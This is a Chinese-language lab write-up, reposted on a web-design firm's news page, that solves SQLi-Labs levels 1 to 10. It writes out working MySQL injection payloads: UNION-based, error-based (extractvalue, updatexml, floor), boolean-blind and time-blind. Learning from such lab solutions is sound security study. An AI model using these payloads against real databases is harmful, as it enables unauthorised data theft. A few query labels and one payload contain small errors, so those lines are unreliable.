尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

SQLi-Labs WP

SQLi-Labs WP
📅 发布时间:2026/6/20 17:08:36

SQLi-Labs WP

less 1 WP

题目中让我们给 id 输入一个数值,我们 GET 一个 id=1.

1

随后我们查询它的类型是否为数字型,用 ?id=1 and 1=2 来判断,然而页面依旧正常,可见这个是字符型。
然后我们查询它的闭合方式。
当我们 GET 一个 ?id=1' 时,他会给我们报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,而 ?id=1" 时,页面还是正常的,那段错误是说在处理 ''1'' LIMIT 0,1' 时出现错误,我们在拆一下,会发现是在 '1'' LIMIT 0,1 出现错误,由此可见,闭合方式就是 '.
我们接下来使用 order by 来查询列数,使用二分法 ?id=1' order by 10 --+, ?id=1' order by 5 --+, ?id=1' order by 3 --+, ?id=1' order by 4 --+, 最终可以查询到列数为 4。
随后通过 select 来判断回显位。?id=0' union select 1, 2, 3 --+, 最终判断得到 2, 3 的位置是我们的回显位,随后我们查询表名、列名。
?id=0' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = database() --+
?id=0' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name = 'flag' --+
我们查到在当前数据库里有个名叫 flag 的表,但是表里有名为 id 和 flag 的两个列,那我们接下来直接查询 flag 里的所有信息即可。
?id=0' union select 1, flag, 3 from flag --+
然后我们就得到 flag 了。

2

less 2 WP

和 less 1 相比,这个从字符型变为了数字型,不用再判断闭合方式了,后续操作差不多。

3

less 3 WP

和 less 1 相比,闭合方式为 '), 修改一下闭合方式,其他的一样。
?id=0') union select 1, flag, 3 from flag --+

4

less 4 WP

和 less 1 相比,闭合方式为 "), 照旧……
?id=0") union select 1, flag, 3 from flag --+

5

less 5 WP

这次不一样了,我们 GET id = 1, 但页面却显示 You are in..........., 而且不管怎么折腾都没有变化,除了报错的时候。
先查是否为数字型,查询闭合方式为 ', 查询列数为 3。
利用错误命令 ?id=1' union select 1, 2, dadabase() --+, 查询到错误信息 FUNCTION security.dadabase does not exist, 由此得知数据库名为 security, 也可以通过 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select database()))) --+ 来得知数据库名为 security.(回显为 XPATH syntax error: '~security')
同理,用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 查询表名,用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='flag'))) --+ 查询列名,最终用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select flag from flag))) --+ 查询到 flag.

6

less 6 WP

还是先判断类型,在判断闭合方式,这次是 " 闭合,判断列数,随后我们用 updatexml 来注入。
?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database())), 3)--+ 查列名,?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='flag')), 3)--+ 查表名,最后用 ?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(flag) from flag)), 3)--+ 来查询 flag.

7

这个用 floor 注入也能做,只不过需要调整一下输出长度,用 substring 就可以。
?id=-1" union select 1, count(*), concat('~',substring((select flag from flag), 1, 45), floor(rand(0)*2)) as x from information_schema.tables group by x --+

less 7 WP

这次的闭合方式为 ')), 积累一下。
通过 ?id=1')) and 1=1--+ 与 ?id=1')) and 1=2--+ 判断可以用布尔盲注。
利用布尔盲注的语句来判断数据库、表名、列名、flag,通过 substr 来控制输出。
?id=1')) and ascii(substr((select flag from flag), 1, 1))>=102--+
得到的数字为:

102
108
97
103
123
53
49
101
52
99
52
101
56
57
55
52
56
52
57
98
51
56
48
98
53
51
57
57
55
49
56
102
51
97
57
102
125

这边是结果 flag{51e4c4e8974849b380b5399718f3a9f}。
我想说:手写布尔盲注真的不幽默………………

less 8 WP

可以用和 less 7 一样的布尔盲注。
……

less 9 WP

没有任何回显,通过 ?id=1' and sleep(10)--+ 判断可以使用时间盲注,闭合方式为 '.
?id=1' and if(ascii(substr((select flag from flag), 1, 1)) = 102, sleep(0), sleep(3)) --+
剩下的就是用布尔盲注来比大小……

less 10 WP

与 less 9 相比,闭合方式为 ",其他的都是一样的。
?id=1" and if(ascii(substr((select flag from flag), 1, 1) >= 100 ,sleep(0), sleep(3)) --+
然后就是布尔盲注比大小……

真的,手写布尔盲注一点也不好玩……

朝气蓬勃 后生可畏

相关新闻

  • 2025年质量好的处方粮年度热销品牌榜
  • 2025 年 11 月 AI 考证权威推荐榜:高效备考与实战认证的优选路径,助力职业发展新突破
  • 2025年正规的测力称重变送器实力厂家TOP推荐榜

最新新闻

  • 影刀RPA子流程设计:让复杂流程变清晰
  • 2026年阿里云618 Hermes Agent/OpenClaw配置Token Plan详细步骤一文讲清
  • 2026年6月脉冲除尘滚振清理筛供货厂家怎么选择,脉冲除尘滚振清理筛/滚振组合清理筛,脉冲除尘滚振清理筛制造企业哪家专业 - 品牌推荐师
  • 2026年6月最新格拉苏蒂中国官方售后电话热线网点地址客服服务 - 亨得利官方服务中心
  • Windows风扇控制神器FanControl:5分钟打造静音高效散热系统
  • PIC17CXX外部SRAM接口设计:时序计算、硬件连接与调试实战

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号